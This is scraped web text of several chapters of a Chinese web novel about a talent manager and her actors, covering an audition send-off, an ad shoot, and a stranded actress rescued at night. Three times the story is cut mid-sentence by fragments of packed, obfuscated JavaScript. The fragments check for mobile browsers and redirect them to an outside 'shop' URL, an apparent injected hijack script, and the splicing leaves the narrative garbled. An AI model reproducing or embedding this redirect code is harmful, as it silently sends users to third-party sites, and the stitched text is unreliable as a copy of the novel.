RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126378|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了什么失眠呢? 赵莉莉没有多问,太过深究一个人的内心并不是一件简单的事,在这过程中,你极有可能触碰到她的敏感点,闹得大家都不愉快。 两人又静坐了会,有一搭没一搭的聊天。 赵莉莉的情绪渐渐缓和。她发觉和关清英坐在一起后,自己的心很容易就稳定下来,无法琢磨的焦虑被身旁人的强大内核驱赶。 不止是赵莉莉,其他人应该也是这么想的,和关清英待在一起真的很让人心安。 关清英说话不拐弯抹角,直白,也抚慰人心:“你已经演过这么多的角色了,比起小甘,是非常有经验的前辈,别被嘈杂的声音干扰——你最想做什么,想怎么做,去做就是了。” 关清英有一套和众人都不同的行事逻辑:确定目标,持续过程,达到结果。 好或坏与她而言并不重要。 有些时候,众人都怀疑关清英是个机器人,不怕累不怕苦,上能爬别墅楼顶,下能掘地几米,手劈榴莲,头爆板砖,十分全能。 很少有人看到她的特殊时刻。 失眠,茫然,混乱。 此刻,赵莉莉竟意外地与她感同身受。 夜里的气温偏低,赵莉莉侧了侧身体,将头靠在关清英的肩上,她幽幽叹气:“我之前心气很高,总想着拿到个好角色一定要翻盘,打破那些人对我的限制,证明我不是只有这一条路可以走。” “现在真拿到了,却又害怕起来,怕翻不了身,混迹多年就此落幕。” 关清英的肩膀骨头很硬,赵莉莉蹭了两下找了个舒服的位置,将重量都压了上去,甚至伸出手抱住关清英的手臂。 关清英对此的反应是偏头看了看,随她去了:“你想那么多,对角色有用吗?” 很一针见血的话。 赵莉莉被噎了下,心情却好了不少,她耍脾气似的嘟囔:“角色之前,我也要先照顾好我自己的情绪呀。” “你相信宫欢吗?”关清英问。 赵莉莉耸耸肩,看着天上零碎的星子,怅然道:“如果不相信,我也不会出现在这里。” 关清英:“你也只是抱着试试看的想法吧。” 赵莉莉不否认,反问:“你不是吗?” 关清英沉默了很久,声音低不可闻:“......我不知道。” 话题不该移到她身上,关清英及时调转方向:“什么时候去试镜?试镜了之后开始跟组,沉浸在角色里,去揣摩人物心理,同时要设计一些人物特有的动作,这是我的经验之谈,希望对你有用。” 关清英也只能在人物方面提供建议了,再多的,比如感情戏之类的,她就没办法了。 “过两天就去试镜,”赵莉莉整个人占了大半张长椅,还霸占了关清英的手臂和半边身体,她情绪肉眼可见的恢复,都开始耍赖起来,“好,你是老戏骨,你说的我肯定听,到时候要是出了问题,我就说是你教的。” 这是句玩笑话,赵莉莉没想到,关清英真的点头接下这口锅:“好。” 没等赵莉莉讶异,关清英又说:“如果有人质疑我的经验之谈,让ta当面来找我,我们可以...好好聊聊。” 和关清英当面聊演技问题......赵莉莉想,还没几个人有这种胆子吧。 88. 微妙 试镜这天,宫欢原本打算陪赵莉莉一起去试镜,连行李都收拾好了。 却被高姐拿一张近期商务日程表贴住了脑门,定在原地。 高姐推了推鼻梁上的镜框:“小甘的电影在上映期间,不知道是谁家粉丝还在泼脏水;男团那三个内讧不合,关清英最近运动量又加了,你确定要找‘陪人试镜’的借口出去玩?” 宫欢扯掉脑门上的商务日程表,遭受了极大的冤屈似的:“你怎么能这么说我,什么叫玩!!我是去应酬,那些资源我不去争取难道等到他们自己掉我头上吗!?” 坐在另一边吃水果的安声听了这话信以为真,还帮着宫欢说话,嘴里嚼着水果含糊不清:“高姐,欢欢姐也是为了我们这个团队,她很辛苦的。” 其他人不知道宫欢行程,高姐还能不知道吗? “哦,确实辛苦,”高姐佯装附和,在几人放松警惕时放出重磅炸弹,“去夜市小吃街找资源,去烧烤摊上应酬,宫欢,别以为你这点小心思我不知道,最近太忙了,你别想溜走。” 赵莉莉也没想到还有这茬,她试探地问宫欢:“她说得都是真的?” 宫欢被人揭了老底,索性破罐子破摔:“我天天在家里对着他们几个,看都看烦了,还不许我出去找点乐子吗!” 好巧不巧,好死不死。 宫欢说这话的时候,那位名叫奚亭云的‘待上位人员’刚结束健身,进了大厅。 前面的话一句没听,这么埋怨乱扯的一句话,全部进了耳中。 奚亭云拿着毛巾擦拭汗水的动作缓慢停下,宫欢还未发现他,借着这点,他放轻脚步,站在了角落,看着几人。 高姐没多说,只一句:“你还要不要挣钱了?” 宫欢顿时清醒过来,瞬间捧着那张商务日常表高举,叫道:“臣,接旨!” 高姐与赵莉莉很是无奈,相视一笑。 宫欢鞠躬后退步,没走两下撞上了一堵有些冰凉的墙。 奚亭云若无其事地伸手,扶住宫欢的肩膀让她站直。 宫欢莫名地眨眨眼,她背对着一个人,没回头,却能猜出是谁。 在嗅觉还未闻到,视觉还未看见,听觉还未听清的情形下,只是一个触碰,宫欢就敏锐地感觉到了意味不明的熟悉。 她迅速回头。 因为转动的动作过快,发尾忽得飞起,旋转,几缕发丝轻轻地抽过奚亭云的脸,不疼,却细密地痒。 他有些发怔。 “你什么时候来的?”宫欢先是后退两步,才这么问他。 奚亭云垂眼,看着举在半空的手,慢慢垂落,他掩饰着刚才的情绪:“在你说‘找乐子’的时候。” 说着,他还抬眼直视宫欢,眉梢微挑,眸底带着些潜藏的问句。 芜湖!在场所有人——除宫欢外,都有这种心理活动,虽然他们也不知道为什么,但就是有这种‘宫欢被抓包了’的想法。 宫欢虽没这么想,可她读懂了奚亭云的潜台词。 ——你要找乐子? ——需要我提供吗? 妈妈啊!!谁来救救她?? 身边一直待着一个随时准备侍寝的人,天天给你抛媚眼,谁遭得住啊!! 她真不是会潜规则那种人,她最痛恨这种行为了啊啊啊啊!! 钱!她只想好好赚到20亿翻身做富一代,根本不想搞什么男欢女爱,别让这种世俗的东西来阻挡她啊!! 宫欢表面原地静止,内心却在刷弹幕。 一旦有热闹可凑,人就会莫名其妙变多。 这时,甘惊鸿从后花园那边的门进来,看见众人都聚在一起,也兴冲冲地过来:“你们在聊什么啊,这么开心——?” 最后一个心字在宫欢的死亡凝视中扭曲变形,甘惊鸿被瞪得害怕,搓了搓手臂感觉身体发冷:“欢姐,你怎么开始制冷了?” 因为她天生高冷,啊呸! 宫欢上前一把勾住甘惊鸿肩膀,强拉硬拽着人,笑呵呵:“小甘啊,你来得太巧了,正好我最近收到几个想要找你代言的品牌方商务,走走走我们去看看,聊一下细节。” 甘惊鸿几乎是被拖着走,她啊了一声,声音随着两人走远而变小,却还是能隐约听到一些:“......不是已经定下来了吗?” 剩下几人一阵默默对视。 奚亭云朝赵莉莉、高姐礼貌点头,随后上了楼。 安声还在吃水果,这是他唯一能摄入的甜食,两个腮帮子鼓鼓的,见赵莉莉拉着行李箱往外走,还挥手道别:“试镜要加油啊莉姐,我们真的不想再喝十全大补药了。” 赵莉莉:“......你也就只喝过一次。” 安声故作深沉道:“一次足以留下终生的心理创伤。” 赵莉莉走出别墅大门,一辆商务车停在外面,高姐找了两个小助理陪同她,叮嘱交代了不少细节后,车门才关上,车窗降下,高姐挥手目送她们离开。 赵莉莉趴在车窗边,目光越过高姐往别墅内看,好半天都没收回目光。 她一直都没看见自己想看的人,有些失望地准备升起车窗。 车窗外的一侧道路上,穿着连帽运动衫的人正小跑着过来,与行驶中的车是反方向,赵莉莉晃了一眼,即使她戴着连衣帽,也一眼认出来了。 那人更为敏锐,她抬头看向车内,抬起手做了个加油的手势。 不待赵莉莉多看,车身迅速地从关清英身旁略过,车窗也升至闭合。 后视镜里的人越来越远,赵莉莉看着那点人影,缓缓地笑了。 - 《皎皎月明》的上映时间刚好处于五一前后。 躲开了许多噱头极大的电影冲击,刚上映时,网络上的影评多是夸,后来一部分人带着心理预期去看,就觉得一般了。 这部电影本身也以两位一线演员为噱头来宣传的,粉丝数量居多,网上多在讨论两位主演的对手戏,还有他们前段时间闹得沸沸扬扬的解绑营销。 除此之外,《皎皎月明》的首映礼剧宣视频发出来不少,里面多是主演和主创团队们的友好问答片段,几乎看不见甘惊鸿的身影。 ‘高义南手滑点赞与女二cp视频’一事经过两三天的热议后,热度逐渐降了下去。 不过仍有不少粉丝极力为高义南撇清关系,营销号仍旧视若无睹地对甘惊鸿进行深挖过往履历——一无所获。 不少营销号在娱乐板块的博文内容中添油加醋,称:《皎皎月明》女二背景深不可测,越干净就越水深,诸如此类的言论。 宫欢在‘高义南手滑点赞’那天晚上和高姐几人开了紧急会议,商量公关手段。 男团三人已经走了黑红路线,再让甘惊鸿也走这个路线非常不合适,而且宫欢有意将甘惊鸿往青衣路线培养。 结果上来就被高义南这个老吊登泼脏水,宫欢气得去找了八家水军,整理出了一套逻辑公关文案让众人宣传出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126379|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去——‘高义南前解绑多年荧幕cp,后又点赞女二cp向视频,玩得一手好炒作’。 并让水军们伪装曾经的京南cp,到处以高义南粉丝的名义发些招骂的言论。 泼脏水,谁敢和宫欢比? 好在网上的舆论多聚焦在“女二”上面,甘惊鸿的名字并未有太大的传播度。 对宫欢来说这是好事,对甘惊鸿来说,难免有些失落。 不过她很快就恢复了过来,能出演电影对她来说已经是足够幸运的事情了。 福祸往往相依。 一些品牌方在电影中发现了形象条件都不错的甘惊鸿,尤其是她穿着校服的那些画面镜头,未施粉黛的样貌青春气息十足,一些运动品牌顺着人脉就找上了宫欢。 共有十几家运动品牌想邀请甘惊鸿拍摄广告片,宫欢认真筛选了许久,留下了一家比较稳妥的品牌,与甘惊鸿细谈后,签下了代言合约。 这是甘惊鸿第一次拍广告片。 偌大到有些空旷的羽毛球场内,她穿戴好了品牌方准备的全套运动装,化妆师用了两个小时给她化了纯素颜的妆容,高扬的马尾里也横塞着好几个一字夹,好让马尾的高度越过头顶,额头周围则稍微用手打乱,营造出随性的氛围。 手持羽毛球杆,甘惊鸿微微躬身,她对面是一架摄像机,随时准备拍摄她的所有动作。 在导演说“Action”时,甘惊鸿好像瞬间回到了剧组,单虹的那股劲又回来了,她将羽毛球高高抛起,右手找准位置用力挥拍—— 结束拍摄,大概是十来个小时后了。 甘惊鸿在羽毛球场来回跳了不知道多少次,浑身酸痛,双腿打颤地准备换回自己的常服。 工作人员却拦住她:“你可以穿着我们的运动服回去,这样也是一种宣传嘛。” 甘惊鸿还是个名不见经传的小演员,品牌方这么说,她也不敢有二话,只好答应下来。 来拍摄时,甘惊鸿没让助理们跟着,是自己搭车来摄影棚拍的,这会结束了她自己拎着一小袋衣服走出羽毛球场。 外面正是夕阳西下,天际的橙色光辉在云层中渐变染成霞紫色,又带着些浅粉。 甘惊鸿找了处空地坐在路边看了会景,等休息得差不多了站起身往别墅方向走。 羽毛球场的位置比较偏,来往的人都是开车,而甘惊鸿白天来的时候是搭车,这会在路上张望好一阵都看不到一辆车。 预感有些不妙,她拿出手机准备叫网约车,纯黑的屏幕怎么都无法摁亮——怎么这时候没电! 甘惊鸿急忙往羽毛球场看,那边早就关了门,没人在。 没办法,她只好循着记忆里的方向往马路上走,一边看有没有车,一边想着羽毛球场到别墅的距离,大概有个七八公里的样子。 甘惊鸿的运动量在这段时间被关清英训练后,达到了一个新的巅峰,休息了之后,体力恢复不少,算算距离,跑回别墅也差不多。 只能这样了。 打定主意,甘惊鸿做了些热身动作,沿着人行道便朝着别墅的方向小跑。 品牌方的运动鞋跑起来不错,甘惊鸿感觉良好。 但不过10分钟,脚底的触感开始不对,有些硌脚。 甘惊鸿的速度慢了下来,疑惑地抬起脚——那号称打遍全网无敌手的全能跑鞋,后脚跟处开胶了,露出鞋底和她的脚底,有两颗石子还钻进了鞋子里。 “......” 89. 看这 略显漆黑的公路上行驶过一辆跑车,车内放着节奏感强烈的乐曲。 车内的两人你一句我一句的跟着节奏嗨唱着——忽然,车减速拐弯处,灯光晃出一道人影,驾驶位上的人连忙减速慢行,连音乐也关了。 “你看路边!那边有个女人!看见没!” 副驾驶上的人紧跟着看过去,顿时被那景象吓得紧贴着椅背。还真是有,他吓得脸煞白,抓着安全带哀嚎:“没说这段路闹鬼啊,等等…她在冲我们招手!!” 两人一阵尖叫,好在驾驶的人还有一丝理智,降下车速慢行,而等车身开得近了,两人终于看清了面前的景象。 一个穿着运动装的女孩蹦着向他们招手,脚边放着包鼓鼓囊囊的行李袋,拉链处露出一截红色衣物。 离得近了,隐约能听见她的声音:“等等,麻烦停一下车,可以载我一程吗,我给你们钱!” 车内两人嘀咕着:“脸色不苍白,也不是披头散发的,看起来是正常人,要不......?” “你没听见她说要给钱!!这就是买命钱啊,大半夜的谁会在这种荒郊野岭的地方,来这的都会开车好不好,别多看了赶紧走,不然小心走不掉了!” 于是,车速减慢后,又忽然提速,飞快驶离。 甘惊鸿在荒无人烟的路边等了这么久,好不容易等来这么一辆车,眼看着就能搭车回家了,怎么舍得放车离开? 她一心急,小跑着追赶上去挥手叫喊:“等等,别走啊,别走!!我会给你们钱的,不白坐车,帮帮我吧求你们了——” 车内的人看见后视镜里紧追不舍的人,更是一脚油门,加快离开。 “我就说她不是好人!!要追上来了,快走啊!” “啊啊啊在加速了!!” 不多时,车身消失在弯道处,甘惊鸿跑到一半,露底的鞋子进了不少石子,她只得停下,无措茫然地四处看看。 真是人倒霉时,喝凉水都会塞牙。 甘惊鸿只得扛着行李袋,踢着掉底的鞋子慢慢往别墅方向走。还好她方向感还算好,不然可能连路都摸不明白。 手机没电,她现在连时间都确定不了。 长夜漫漫,长路迢迢。 甘惊鸿幻想自己成了西游记的一员,走十万八千里才能到西天。 每走一段路,她都得停下来磕磕鞋子,走的时候步伐有些拖沓,鞋子不跟脚,也走不快。 走得累了就不想走,甘惊鸿有些耍脾气,将行李包丢在一边,两三下爬上一棵树——在关清英那训练出来的爬墙技能派上了用场。 她躺在树杈间,干脆睡了起来。 以前饰演猫头鹰的时候,甘惊鸿练出了一身倒挂睡觉的本事。 等天亮,来往的车辆应该就会多起来了。 甘惊鸿眼皮沉重,合上眼前,这么想。 - 凌晨0:30。 最近男团作息监管略松,几人便开始随性乱来。 除了奚亭云作息仍是严格按照作息表来外,萧子重和安声都比较随性。 安声偶尔要去音乐公司参与制定编舞编曲,是经过宫欢允许的,助理们也就不怎么留意他的出行。 而萧子重则不同,他刚偷偷摸摸,踮脚尖地进了别墅大门,便被小助理逮到,她严肃的看表: “已经凌晨了,您为什么才刚回来,最近没有行程安排,您现在应该在床上睡觉。” 萧子重放轻的动作干脆松懈下来,被逮住了也不慌,理直气壮地反驳:“安声不也经常这个点回来,你怎么不管他?别逮着我一个人批斗啊——” “哎,我说小姐姐,你早点睡不用管我,我一个大活人又不会走丢了,你天天熬夜蹲我,眼圈都黑了。啧啧啧,不值当的啊,就算宫欢给你的钱足够多,那能买得回青春嘛?” 小助理不为所动,直直看着萧子重,仿佛他不回去睡觉,她就不会罢休。 萧子重只得双手举起作出投降的动作:“好好好,我去睡行了吧…真是,宫欢到底给了你们多少钱啊,一个个这么卖命……” 他边说边摇头,一副惋惜的态度,走进了正厅,没走几步听见身后的小助理拿着手机自言自语:“还有一个没回来,都这么晚了,电话也不接。” 萧子重莫名的心里突地一跳,说不出的感觉,他转身追问:“还有谁没回来?” 小助理皱眉:“还有小甘,她平时都很守时,回不来都会说一声,今天不知道怎么回事。” 听见这两个字,萧子重懒散的态度一下端正起来,他重复了一遍:“小甘?她是什么时候出去的,她今天没有行程吗?” 小助理翻了翻行程表:“她今天去拍运动品牌的广告片了,按理说晚上就应该结束回来了,就算有拖延时间,也不该这么晚啊,电话也打不通……” 话说到后面,小助理预感不对,准备联系宫欢说明情况时,萧子重一下摁住了她肩膀,语气急促,甚至带着慌乱:“她在哪里拍摄!?告诉我地点!” 小助理懵了下,翻找出了行程表的地址念给萧子重:“在腾远运动馆——” 说完地址后一抬头,人已经跑到了别墅大门处,急忙忙地一闪身便没了踪影。 这下可好,丢了一个,又跑了一个。 - 宫欢家的地下停车场内,停放着几辆平时出行的低调轿车,车钥匙都挂在入口处的保险箱,众人有事时借用车辆也都方便。 地下车库大门缓缓向上开启。 萧子重等不及,一弓腰钻进了车库内,拿钥匙,坐进车内打火,车库门升至最高时,车身便极快地冲了出去。 腾远运动馆。 电子导航很快锁定了位置,萧子重一向吊儿郎当的态度尽数收敛了起来。 绷紧的面部反而使得五官更为立体,车内昏暗,道路两旁的霓虹光线时不时透过车窗映在他硬朗的面容上。 他单手开车,另一只手仍在不断给甘惊鸿播去电话,每次都以抱歉的电子音返回。 手机不接,深夜未归。 任谁想,都会觉得这事儿不正常,她是一个人去的吗,怎么没有助理陪同,手机也不在身边吗,可像甘惊鸿那样懂事的人,怎么都会问别人要手机报个平安。 这种一点消息都没有的情况,恐怕是遇到大事了。 萧子重的手指捏紧方向盘,手机里不断传来重复的让人心凉的“您拨打的电话无人接听”。 车速更快地驶出城市,萧子重有些烦躁地抓了抓头发,随着目的地越来越近,路边愈显荒凉,路灯几十米才有一盏,来往车辆几乎没有,只有他这一辆车在行驶。 别墅距离这个地址也就十几公里,要不了多长时间,可这段时间里,萧子重脑补出了甘惊鸿的各种情况—— 被人套麻袋扔到荒郊野岭? 被人贩子拐卖到大山里面? 被运动馆的人不小心关在场地里? 还是被人下了药勒索绑架? 种种种种,萧子重越想越慌,甚至建设好了心理准备,如果到了地方看见甘惊鸿的“惨状”,他这辈子都不会再对人生有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看哪儿呢,”萧子重半靠在车身前,双手环抱着胸,看不出先前狼狈地抬起手,朝甘惊鸿挥了挥,很是帅气地说,“看这。” 甘惊鸿这才勉强将眼睛睁开一条缝隙,远光灯笼罩着的那人身影颀长,他穿着宽松休闲的棕灰色衬衫,颈间有条低调小巧的黑色丝巾,声音慵懒性感,一下网住了她的注意力。 看清人后,她眼睛一亮,热情地挥舞双手,高声叫道:“前辈!!你是来救我吗!!” 随后手脚并用、极其麻利地像只松鼠从树上爬了下来,想快跑到萧子重身边,却忘了鞋子露底,没跑两步就险些摔了。 “小心点。”萧子重也走向她,伸出双手扶住单脚乱跳的甘惊鸿,她边跳边两眼亮晶晶地看他:“真的是你啊,太好了——!” 她一边欣喜地单脚乱跳,一边伸出手臂环住萧子重的脖颈,抱住了他:“终于有人来救我了呜呜呜,多亏了前辈!呜呜呜我太爱您了!” 她叽叽喳喳地诉说着今天的遭遇,丝毫没有注意到。 在被抱住的瞬间,萧子重就已当场宕机。 眼睛发直,失去思考能力,所有感官被封闭,心跳也跟着停了一瞬,随后是狂乱到让人胸口发疼的跳动,身体内部的血液发热。 完了,又过敏了。 他觉得身上有点痒,像是要起红疹。 不对,萧子重觉得,这次是呼吸岔了气,从肋骨蔓延到心脏的疼痛,都是因为岔气了。 与她无关。 90. 一下磕俩 车停在路边。 两人坐在车前盖上,中间堆着一堆应急食品。 甘惊鸿从拍广告片开始,为了保持最佳状态一直没吃东西,折腾一晚上,肚子早就饿瘪了。 她狂风卷云般地啃着压缩饼干,边吃边喝水,嘴边在掉渣渣,还不忘了跟萧子重埋怨:“我差点以为今天晚上只能在野外风餐露宿了,中间有几辆车过去他们都不理我,看见我求救之后,还把车开得更快了,现在的人一点爱心都没有。” 萧子重拿出小包纸巾递给她:“慢点吃,别吃撑了,等下回去再吃点饭。” 甘惊鸿应了两声,接过纸巾拆开包装,抽出一张纸巾擦了擦嘴,纸巾里面透出淡淡的茉莉香味。 她歪头看着萧子重,突然问了个问题:“前辈经常随身携带纸巾吗?” 这问题确实把萧子重问懵了,他思考了下,不知道她问题的含义,也不知道怎么回答最好,只好说:“平时会带着,很方便……怎么了吗?” “没什么,只是觉得前辈是个很细心的人呢。”甘惊鸿笑笑,将纸巾折了折,又认真地擦了擦唇。 萧子重一下拘谨起来:“还好吧。” 她这是在,夸他吗? 对了,刚才她是不是还说了…爱? 萧子重不敢多想,尤其是不敢当着甘惊鸿的面多想。 那总会给他一种亵渎她的感觉。 经过这个问题后,原本还算正常的氛围忽然变得奇怪。 萧子重总觉得手脚怎么放都不对,他将手握拳抵在唇边,低咳了一声:“吃饱了吗,我们该回去了。” 甘惊鸿点点头,她主动爬下车,单脚跳了两下,坐上了副驾驶。 动作行云流水到萧子重都来不及反应,愣了片刻,才收掉车上的其他应急食品,放回了后备箱。 简单的行为,萧子重却拖延了一会,等慢吞吞地坐上了驾驶位,他莫名其妙地突然问:“准备好了吗?” 甘惊鸿乖顺点头,等待被载回家。 萧子重拧动车钥匙,车子嗡嗡地打了一下火,忽然熄灭,他愣了一下,又接连拧了两次,还是一样。 甘惊鸿眨了眨眼,直白地问:“是不是没油了?” “……”萧子重尽量稳住心态,手继续疯狂拧着车钥匙,“不会,这么,倒霉吧!!” 甘惊鸿有些同情道:“我今天也是这么想的。” 折腾了几分钟,萧子重出了一身的汗,他仍有些不死心,反复尝试。 甘惊鸿习惯成自然地往后一躺,默默说:“前辈,你手机还有电吗?” 不明白甘惊鸿为什么这么问,萧子重下意识摸了摸口袋——空的。 动作僵住,他大脑飞快回忆,回别墅时他还拿着手机,后面满心思都是甘惊鸿,完全忘了手机这回事。 好像…落在了车库的保险箱那里。 甘惊鸿看萧子重静止了几秒,大概猜到了,她无奈又乐观地摊手:“这下我们都走不掉了。” 萧子重将注意力从紧攥车钥匙的手中移开,看向身侧的女孩。 这不是萧子重预想的场景。 他气势汹汹地来,啼笑皆非地发现自己的脑补戏有多过,本来只需要好好的将人送回家,他也算是为今夜的冲动画上句号。 但好像,事情总是不那么顺遂。 不论是事业,还是他的梦想,亦或是简简单单地来“救”晚辈。 萧子重很想说声抱歉,是他没想那么多,害得她白高兴一场。 目光刚一触及甘惊鸿眼中略带调侃的笑意,他顿了片刻。 昏暗的车内空间,两道漆黑的人影相对而视,夜色化为水流,悄无声息的流动,不过几秒,两人同时笑出了声。 “黄历一定写了今天不宜出行,”甘惊鸿笑倒在副驾驶,抬腿晃了晃自己鞋子露底的一只脚,姿态自然,“新鞋的鞋底开胶,手机没电,运动馆关门,要不是前辈来找我,我现在应该还在树上睡觉呢。” “现在情况好点了,”萧子重扯了扯嘴角,无奈笑,“至少从树上转移到车里睡了。” 萧子重放弃了尝试启动车子的想法,两面车门大开着,他坐姿没甘惊鸿那么放松,虽然身体靠着椅背,可始终端正着背...... 萧子重莫名觉得自己这样非常像某个人,有点装。 算了,装就装吧,他好歹是个前辈,当然要时刻保持仪态。 他自以为还算松懈,可其实姿势僵硬的要死,头都摆得正直,目光直视前方,像是还在开车似的专注。 要不要再说点什么缓和下氛围? 刚才那默契的笑,甘惊鸿想到了什么才会笑出来? 会和他想到的一样吗? 吃应急食物时,萧子重看她吃得快,没敢说几个字,怕她一不小心着急起来又噎着。 想想要聊些什么,现在可是个绝佳的好机会。 萧子重做了四五层心理建设,又在—— 你刚才为什么笑? 你猜猜我为什么笑? 我们为什么都笑了? ——几个问题中来回纠结,最后他想好了。 轻咳两声,萧子重仍旧是双眼直视前方,深邃的立体面容隐匿在斜切而落的路灯下,他放慢语调,像是极为慎重:“…你刚才的笑是想到了什么好玩的事情?” ...... 几秒过去,车内非常安静,安静到只有此起彼伏的呼吸声,一呼一吸,她睡着了。 萧子重看着甘惊鸿的头歪向一侧肩膀,连路灯偏爱她,将暖光尽数投洒在她恬静安宁的脸上,几缕发丝在鼻息下微微拂动。 他下意识放轻呼吸,让身体感官安静,去倾听,去感受她的声音。 现在,他才敢光明正大地看她。 她是怎么做到在哪儿都能睡着的? 荒郊野外的野树上,一辆抛锚的车内,她好像不知道什么是危险,随遇而安,在哪里都有生存的勇气。 萧子重之前旁敲侧击地听说过甘惊鸿是如何找上宫欢签合约的。 他之前就一直在想,宫欢那会“风头正盛”,珍惜羽毛的艺人都会避之不及,可甘惊鸿却选择了她。 萧子重一度怀疑,甘惊鸿是被宫欢的嘴蒙骗了,一定是宫欢说了几句忽悠人的话,甘惊鸿才会单纯地跑过来。 他应该是错了。 她有自己的坚持与想法,像关清英,赵莉莉,她们都有想要改变的东西,只是在这个圈子里,只有宫欢,才敢这么无法无天的去做,所以她们选择了她。 萧子重低头笑笑,他动了下身体,准备伸手去拿后排座上的小毯子过来。 他刚起身,侧过身体往座位间隙里去,旁边副驾驶的甘惊鸿似有所感。 即使闭着眼,在睡梦中,她也感觉到了不适应,眉头微皱,一只搭在身上的手微微动了两下—— 一切发生的很快,萧子重几乎没有反应过来,便感到手被一股巨力抓住,猛地掰扭。 ——咔嚓! “啊啊啊啊啊啊啊!!!!” 甘惊鸿被嚎叫声惊醒,她慌乱无措地醒来,一副受到惊吓的样子:“怎,怎么了?发生了什么!?” 话刚说完,她看着手里的、正在颤抖的几根手指发懵:“这不是我的手啊?” “手!手!”萧子重叫唤半天,才叫醒甘惊鸿,她哦哦两声松开自己的手——那几根手指才被主人哆哆嗦嗦地收回去。 两三根手指弯曲着,萧子重面部表情扭曲,他捧着那几根手指欲哭无泪,失了所谓的形象风度:“你怎么突然就醒了!?” 甘惊鸿睡意被驱散完了,她看了看萧子重,又看看他发紫发青的手指,顿时明白过来:“前辈,你刚才是不是在我睡着的时候,靠近我了?” “我只是想给你盖毛毯,怕你着凉,”萧子重龇牙咧嘴地抽气,额头疼得渗出了汗,想维持一□□面,扯了个难看至极的笑,“但是,没想到你反应那么大,差点把我手指掰折了!” “啊??对不起!!前辈,我不是故意的,”甘惊鸿忙找医药箱给他包扎,眼里满是心疼与歉意。 萧子重虽然疼得想翻白眼晕过去,但极力克制着,额头青筋直突突,他也只是深深吸一口气,忍了下去。 甘惊鸿捏着棉签给他边擦药边解释:“我之前跟清英姐学习的时候,她教我要是被人迷昏了怎么自保。就是每晚入睡前,给自己一个特种兵的身份,即使睡着了我的身体也要随时保持着战斗本能,这样遇到危险了,就能第一时间保护自己。” “没想到......”没想到第一个在甘惊鸿这里中招的就是萧子重。 “前辈不会生我的气吧,我真的真的不是故意的,”甘惊鸿露出个讨好的笑,大概是感到内疚,什么话都说了出来,“如果,我是说如果你的手指废了,以后我的给你用!以后,我就是你的手!” 她拍拍胸口,自信满满地保证。 萧子重默默将头扭向另一边。 此刻心情异常复杂,身体疼痛非常,心里却又被这么直白的一撞。 谁来救救他。 她到底知不知道自己在说什么啊!!?? 这些话是能这样说的吗! 这和告白有什么区别!?? 啊!?? - 凌晨两点。 路边停着的一辆车旁,蹲着一男一女两个人,眼巴巴地望着远处逐渐驶来的一辆超炫红色超跑车。 夜色太黑,看不清车上的人,萧子重两眼发精光:“这车这么嚣张,肯定是宫欢!” 甘惊鸿麻木地摇摇头:“前辈,这一晚上过去了10辆红色的车,你都这么说——这个点她可能还在外面忙,没回家,根本不会发现我们没回去。” 一阵萧瑟冷风刮过,两人发出丧尸般的低叹。 但那辆红色超跑降慢了车速,在低着头的两人面前缓缓停了下来。 随即,敞篷车上的人摘了墨镜往旁边一丢,宫欢往旁边一看,没找着人,视线往下,才瞄见两个蘑菇墩,她朝气蓬勃地啧了声:“干嘛呢你们俩,大半夜在路边当路障啊?” 这声音!? 低着头的两人先转头看了对方一眼,惊喜交加,接着两人腾的一下站了起来。 一个因为腿麻摔在了敞篷车内,一个直接跃过车门坐上了座位。 甘惊鸿上车的第一句话就是问:“欢姐,你带手机了吗,手机还有电吗?” 宫欢不明所以,拿过手提包拉开拉链递给她,露出里面的四五部手机:“你要哪个?” 甘惊鸿:“......这么多?” “工作手机两部,私人手机一部,背地干坏事手机一部,”宫欢说着将包都塞给她,“你自己选吧。” 甘惊鸿抱着一包手机沉默了。 萧子重揉揉发麻的腿,又吹了吹疼得厉害的手指,迫不及待地追问宫欢:“你是怎么找到我们的?” “这还不简单?”宫欢怪怪地看他,“你以为我的车是说开就能开的,车里都装了GPS,你去哪儿我看得一清二楚。小助理给我打电话说小甘没回来,不接电话,你也跑出去了,急得团团转,还得我来一个个找,真是。” 宫欢说着将车掉头,往回开,嘴里还不停念叨:“你们俩怎么回事儿啊?” 终于得救,甘惊鸿忍不住乐滋滋地解释:“我手机没电,鞋子也坏了,一直拦不到车送我回家,还是前辈找到我的呢。” 宫欢毫不留情地打破她吹出来的泡泡:“找到你,然后和你在路边当路障?” “我要是不来她遇到危险怎么办?” 萧子重提起这事儿就来劲,也顾不得疼了,和宫欢理论起来,“她来这么远的地方拍广告片,助理司机都没有,你让她翻山越岭回家吗?” 萧子重说着看了眼甘惊鸿露底的鞋子:“什么垃圾运动品牌,新鞋都能有这种质量,你不会又给她拉的山寨牌子的资源吧?” 甘惊鸿朝他摆摆手试图缓和气氛。 宫欢不语,只是斜扯了嘴角。 随后的车程中,急转弯,漂移等各种车技尽数使了出来,坐在后面的萧子重被晃得头晕眼花,一个字都说不出来了。 回到别墅,宫欢走在前面,甘惊鸿扶着头晕眼花的萧子重,他眼前的景象天旋地转,还没放弃碎碎念:“……你一点都不负责任,一个经纪人连艺人的人身安全都不能保障——” 甘惊鸿为难地劝说:“真的没有那么严重啦。” 